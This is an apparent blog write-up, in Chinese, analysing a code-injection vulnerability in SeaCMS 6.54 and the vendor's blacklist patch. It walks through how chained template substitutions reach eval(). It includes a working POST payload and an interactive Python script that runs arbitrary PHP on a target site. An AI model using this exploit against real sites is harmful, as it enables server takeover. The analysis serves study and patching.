环境搭建

  • seacms 6.54
  • php 5.4.45
  • Ubuntu 18.04 + mysql 5.7 + Apache2

漏洞概况

这个漏洞是因为绕过了针对seacms 6.45的补丁,对$order参数进行了限制。

1
$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

patch_645

漏洞分析

这次的攻击方式和上次已经不一样了,上次是从$order参数入手,但是这次的补丁官方对order参数进行了白名单过滤,这样就无法通过order参数过滤进行代码注入,但是之前的6.45版本中的分析,我们已经知道,漏洞的产生是因为parseIf()函数中的参数没有经过过滤,直接拼接后调用eval()执行导致的。先看一下新的攻击的payload:

PoC :

1
2
3
4
5
// URL
http://192.168.247.134/seacms654/upload/search.php

// POST
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

从poc我们看到攻击的参数不再是通过order注入的,而是其他的参数。虽然这些变量经过了removeXSSaddslashes函数的过滤并且每个参数仅截取前20个字符,但是这些变量还是可以通过变量覆盖的方式传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);

$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));

$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));

$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));

$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));

$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));

$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));

$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));

$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));

$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));

echoSearchPage()函数中会对jqareayear等这些参数进行替换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function echoSearchPage(){
...
$content = str_replace("{seacms:searchword}",$searchword,$content);
...
if(intval($searchtype)==5)
{
$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
$jq = !empty($jq)?$jq:'全部';
$area = !empty($area)?$area:'全部';
$year = !empty($year)?$year:'全部';
$yuyan = !empty($yuyan)?$yuyan:'全部';
$letter = !empty($letter)?$letter:'全部';
$state = !empty($state)?$state:'全部';
$ver = !empty($ver)?$ver:'全部';
$money = !empty($money)?$money:'全部';
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
$content=$mainClassObj->parseSearchItemList($content,"type");
...
...
}else
{
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
}
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
}

从前面的分析我们已经知道$content的内容就是templets/default/cascade.html,在未替换前的内容为:

0

此时$searchword={if{searchpage:year},执行下面的替换语句:

1
$content = str_replace("{seacms:searchword}",$searchword,$content);

替换后为:

1

然后我们知道$year=:e{searchpage:area}},然后执行下面的语句:

1
$content = str_replace("{searchpage:year}",$year,$content);

替换后为:

2

同理,继续执行str_replace,$area=v{searchpage:letter}

1
$content = str_replace("{searchpage:area}",$area,$content);

替换后为:

3

继续执行下面的语句替换$content内容:

1
2
3
4
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);

替换完的结果是

4

总之,依次替换后的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<meta name="keywords" content="{if{searchpage:year},海洋CMS" />
<meta name="description" content="{if{searchpage:year},海洋CMS" />

<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />
<meta name="description" content="{if:e{searchpage:area}},海洋CMS" />

<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />
<meta name="description" content="{if:ev{searchpage:letter}},海洋CMS" />

<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />
<meta name="description" content="{if:eval{searchpage:lang}},海洋CMS" />

<meta name="keywords" content="{if:eval(join{searchpage:jq}},海洋CMS" />
<meta name="description" content="{if:eval(join{searchpage:jq}},海洋CMS" />

<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />
<meta name="description" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />

<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />
<meta name="description" content="{if:eval(join($_POST[9]))},海洋CMS" />

$content被传入parseIf()函数

1
2
3
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
...
preg_match_all($labelRule,$content,$iar);

就能解析出1eval(join($_POST[9]))

5

最后执行的eval语句就是

1
@eval(if(eval(join($_POST[9]))){$ifFlag=true;}else{$ifFlag=false;});

6

Python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__author__ = 'Bantian'

import sys
import requests

def help():
print("Usage : ")
print(" python %s [URL]" % sys.argv[0])
print("Example : ")
print(" python %s http://example.com/search.php" % (sys.argv[0]))
print("Type command 'q' for exit")

def poc():
help()
if not sys.argv[1].endswith("search.php"):
print("[+] Please make sure url end with search.php")
else:
while 1:
payload = input("-> ")
if payload != "q":
postdata = {
"searchtype" : "5",
"searchword" : "{if{searchpage:year}",
"year" : ":e{searchpage:area}}",
"area" : "v{searchpage:letter}",
"letter" : "al{searchpage:lang}",
"yuyan" : "(join{searchpage:jq}",
"jq" : "($_P{searchpage:ver}",
"ver" : "OST[9]))",
"9[]" : payload
}
r = requests.post(url = sys.argv[1], data = postdata)
idx = r.text.find("<!DOCTYPE html>")
print(r.text[:idx])
else:
exit()

if __name__ == "__main__":
try:
poc()
except Exception as e:
print("It only works for seacms v6.54!")

运行结果

7

官方补丁

include/main.class.php:

patch

1
2
3
4
foreach($iar as $v){
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;

官方给出的修复方案就是在parseIf()函数中添加黑名单,替换一些敏感字符。